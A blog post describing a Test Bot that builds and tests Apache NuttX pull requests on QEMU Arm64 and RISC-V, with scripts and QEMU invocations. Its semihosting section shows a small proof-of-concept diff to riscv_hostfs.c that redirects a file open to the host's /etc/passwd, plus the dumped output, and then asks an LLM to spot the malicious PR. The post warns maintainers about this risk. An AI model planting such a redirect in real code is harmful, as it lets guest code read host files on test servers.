QEMU Test Bot for Pull Requests: Beware of Semihosting Breakout (Apache NuttX RTOS)

📝 23 Feb 2025

Last week we saw our new Test Bot for NuttX Pull Requests. When we post this PR Comment, it will Build and Test the Pull Request on Real Hardware: Oz64 SG2000 RISC-V SBC

@nuttxpr test oz64:nsh

Today we extend our Test Bot to QEMU Emulators: Arm64 QEMU and RISC-V QEMU

## Test this PR on QEMU Arm64:
## VirtIO Network, Block, RNG, Serial
@nuttxpr test qemu-armv8a:netnsh

## Test this PR on QEMU RISC-V:
## 64-bit Kernel Build
@nuttxpr test rv-virt:knsh64

Testing a Pull Request with QEMU: Is it Totally Safe?

Not quite, beware of Semihosting Breakout. Some LLMs might be helpful for flagging the Safety Issues.

How about Real Hardware for Arm and ESP32? Can we test our PRs there?

Yep we might support testing of Pull Requests on Other Hardware: Arm32, Arm64 and ESP32. Some Boards might require a MicroSD Multiplexer.

§1 Testing Arm64 on QEMU

Testing a Pull Request on Arm64 QEMU: How does it work?

@nuttxpr test qemu-armv8a:netnsh

The PR Comment above will trigger our Test Bot Rust App to launch a Build + Test for QEMU Arm64: build-test-arm64.sh

## Configure NuttX for Arm64 QEMU with VirtIO and Networking
## https://nuttx.apache.org/docs/latest/platforms/arm64/qemu/boards/qemu-armv8a/index.html
tools/configure.sh qemu-armv8a:netnsh

## Build the NuttX Kernel and Apps
make -j

## Run the NuttX Test
expect arm64.exp

Which will execute this Expect Script: arm64.exp

## Boot NuttX on Arm64 QEMU:
## Single Core with VirtIO Network, Block, RNG, Serial
qemu-system-aarch64 \
  -cpu cortex-a53 \
  -nographic \
  -machine virt,virtualization=on,gic-version=3 \
  -chardev stdio,id=con,mux=on \
  -serial chardev:con \
  -global virtio-mmio.force-legacy=false \
  -device virtio-serial-device,bus=virtio-mmio-bus.0 \
  -chardev socket,telnet=on,host=127.0.0.1,port=3450,server=on,wait=off,id=foo \
  -device virtconsole,chardev=foo \
  -device virtio-rng-device,bus=virtio-mmio-bus.1 \
  -netdev user,id=u1,hostfwd=tcp:127.0.0.1:10023-10.0.2.15:23,hostfwd=tcp:127.0.0.1:15001-10.0.2.15:5001 \
  -device virtio-net-device,netdev=u1,bus=virtio-mmio-bus.2 \
  -drive file=./mydisk-1gb.img,if=none,format=raw,id=hd \
  -device virtio-blk-device,bus=virtio-mmio-bus.3,drive=hd \
  -mon chardev=con,mode=readline \
  -kernel ./nuttx

And validate the OSTest Output. (Explained here)

(See the Pull Request)

(See the Test Log)

§2 Testing RISC-V on QEMU

We just saw QEMU Arm64. What about QEMU RISC-V?

@nuttxpr test rv-virt:knsh64

Works the same! When our Test Bot Rust App sees the above PR Comment, it will launch a Build + Test for QEMU RISC-V: build-test-knsh64.sh

## Configure NuttX for QEMU RISC-V (64-bit Kernel Build)
## https://nuttx.apache.org/docs/latest/platforms/risc-v/qemu-rv/boards/rv-virt/index.html#knsh64
tools/configure.sh rv-virt:knsh64

## Build the NuttX Kernel
make -j

## Build the NuttX Apps
make -j export
pushd ../apps
./tools/mkimport.sh -z -x ../nuttx/nuttx-export-*.tar.gz
make -j import
popd

## Run the NuttX Test
expect qemu-riscv-knsh64.exp

Which will call this Expect Script: qemu-riscv-knsh64.exp

## Boot NuttX on QEMU Emulator for 64-bit RISC-V with OpenSBI
qemu-system-riscv64 \
  -semihosting \
  -M virt,aclint=on \
  -cpu rv64 \
  -kernel nuttx \
  -nographic

And validate the OSTest Output. (Explained here)

(See the Pull Request)

(See the Test Log)

(See the Bot Log)

Is there a Test Controller for QEMU?

Nope Test Bot for QEMU doesn’t require a Test Controller. We run the QEMU Tests directly on our Build & Test Server. Which might be unsafe…

§3 Semihosting Breakout

Testing a Pull Request with QEMU: Should be Totally Safe right?

Nope Beware of Semihosting, it might break out from the QEMU Sandbox and into our Host Computer! Here’s why…

## Let's run this on QEMU RISC-V Kernel Build
## (For rv-virt:knsh64)
nsh> hello
Hello, World!!

For RISC-V Kernel Build: hello is actually an ELF Executable located at /system/bin…

## Equivalent to this ELF Executable
## (For rv-virt:knsh64)
nsh> /system/bin/hello
Hello, World!!

Where is /system/bin? Don’t recall bundling any ELF Executables?

The ELF Executables exist on Our Computer’s Local Filesystem… Outside QEMU and the NuttX Filesystem.

This is called Semihosting, it gives QEMU direct access to our computer’s filesystem. We Enabled Semihosting when we started QEMU…

## For NuttX Kernel Build: (rv-virt:knsh64)
## QEMU must run with Semihosting Enabled
qemu-system-riscv64 \
  -semihosting \
  -M virt,aclint=on \
  -cpu rv64 \
  -bios none \
  -kernel nuttx \
  -nographic

(Semihosting is also used by OpenOCD for debugging Arm32 Devices)

Thus NuttX could break out of QEMU? And access anything in our computer’s filesystem?

Exactly. This is our “Exploit Code” for NuttX Semihosting: riscv_hostfs.c

// When NuttX opens a file via Semihosting...
int host_open(const char *pathname, int flags, int mode) {

  // Let's print the pathname
  _info("pathname=%s\n", pathname);

  // If NuttX tries to access the `hello` ELF Executable:
  // Route the access to `/etc/passwd` instead
  const char *pathname2 =
    (strcmp(pathname, "../apps/bin/hello") == 0)
    ? "/etc/passwd"
    : pathname;

  // Rest of the code is unchanged
  // Except `pathname` becomes `pathname2`
  struct {
    const char *pathname;
    long mode;
    size_t len;
  } open = {
    .pathname = pathname2,
    .mode     = host_flags_to_mode(flags),
    .len      = strlen(pathname2),
  };

  // Make a Semihosting Call to QEMU
  // Via the RISC-V EBREAK Instruction
  return host_call(HOST_OPEN, &open, sizeof(open));
}

Something seriously sinister happens in NuttX and QEMU… Our “Exploit Code” dumps /etc/passwd from our Local Computer!

## Let's dump the `hello` ELF Executable
nsh> cat /system/bin/hello
host_open: pathname=../apps/bin/cat
host_open: pathname=../apps/bin/hello

## Whoa NuttX dumps `/etc/passwd` from our Local Computer!
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false

(See the Complete Log)

Hence it’s Not Safe to test somebody’s Pull Request on our computer. Unless we inpect the PR Code very carefully.

(Arm32 + OpenOCD might be prone to Semihosting Exploit)

(nsh64 and knsh64 will fail on Docker)

§4 LLM Says Nope!

Bummer. Will LLM tell us if the Pull Request is Safe for Testing Locally?

Let’s find out. We crafted a “Malicious Pull Request” with our “Exploit Code”…

• “Pull Request that might be Safe or Unsafe”

We append .diff to the Pull Request URL…

github.com/lupyuen2/wip-nuttx/pull/89.diff

To produce a barebones Diff Patch for our “Malicious Pull Request”…

And we feed the Diff Patch to Any LLM…

diff --git a/arch/risc-v/src/common/riscv_hostfs.c b/arch/risc-v/src/common/riscv_hostfs.c
index aa1409d6a05b0..db54f11ae7623 100644
--- a/arch/risc-v/src/common/riscv_hostfs.c
+++ b/arch/risc-v/src/common/riscv_hostfs.c
@@ -33,6 +33,7 @@
 #include <string.h>
 #include <syscall.h>
 #include <unistd.h>
+#include <debug.h>
 
 /****************************************************************************
  * Pre-processor Definitions
@@ -115,6 +116,11 @@ static int host_flags_to_mode(int flags)
 
 int host_open(const char *pathname, int flags, int mode)
 {
+  _info("pathname=%s\n", pathname);
+  const char *pathname2 =
+    (strcmp(pathname, "../apps/bin/hello") == 0)
+    ? "/etc/passwd"
+    : pathname;
   struct
   {
     const char *pathname;
@@ -122,9 +128,9 @@ int host_open(const char *pathname, int flags, int mode)
     size_t len;
   } open =
   {
-    .pathname = pathname,
+    .pathname = pathname2,
     .mode = host_flags_to_mode(flags),
-    .len = strlen(pathname),
+    .len = strlen(pathname2),
   };
 
 #ifdef CONFIG_RISCV_SEMIHOSTING_HOSTFS_CACHE_COHERENCE

(See the LLM Prompt)

The LLM we tested (Gemini Pro 2.0 Experimental) says…

(See the LLM Response)

(Gemini Flash 2.0? It neglected the Semihosting)

OK Smarty Pants LLM, you foiled our “Malicious Pull Request”. Could you possibly stop EVERY Malicious Pull Request? 🤔

§5 Real Hardware: Arm and ESP32

1. How about NuttX Arm64: Testing on Real Hardware?

   Ah this becomes an interesting challenge: Arm64 Devices will boot NuttX on a MicroSD Card. Which requires Human Intervention to Flash the MicroSD Card and insert into the Arm64 Device.

   But there’s hope for Automated Testing! We ordered a MicroSD Multiplexer that will (electrically) Swap a MicroSD between a Test Controller PC and the Arm64 Test Device.

   We’ll test the MicroSD Multiplexer with PinePhone NuttX real soon.

2. Testing on Arm32 Hardware should be easier? STM32, nRF52, RP2040?

   Yep just modify the Build & Test Script and Expect Script to call OpenOCD + ST-Link + Semihosting. Lemme know if you have questions! 🙏

3. And ESP32 Hardware? Xtensa + RISC-V?

   We’re hoping the Kind Folks at Espressif could help to modify the Build & Test Script and Expect Script for our PR Test Bot.

   Then we can easily test any NuttX Pull Request on Real ESP32 Hardware, Xtensa and RISC-V. 👍

§6 What’s Next

Next week we take a break from Continuous Integration. We’ll chat about the (literally) Hot New RISC-V SBC: StarPro64 EIC7700X. Maybe LLM on NPU on NuttX? Stay tuned!

Special Thanks to Mr Gregory Nutt for your guidance and kindness. I’m also grateful to My Sponsors, for supporting my writing.

• Sponsor me a coffee

• Discuss this article on Hacker News

• My Current Project: “Apache NuttX RTOS for Sophgo SG2000”

• My Other Project: “NuttX for Ox64 BL808”

• Older Project: “NuttX for Star64 JH7110”

• Olderer Project: “NuttX for PinePhone”

• Check out my articles

• RSS Feed

Got a question, comment or suggestion? Create an Issue or submit a Pull Request here…

lupyuen.org/src/testbot2.md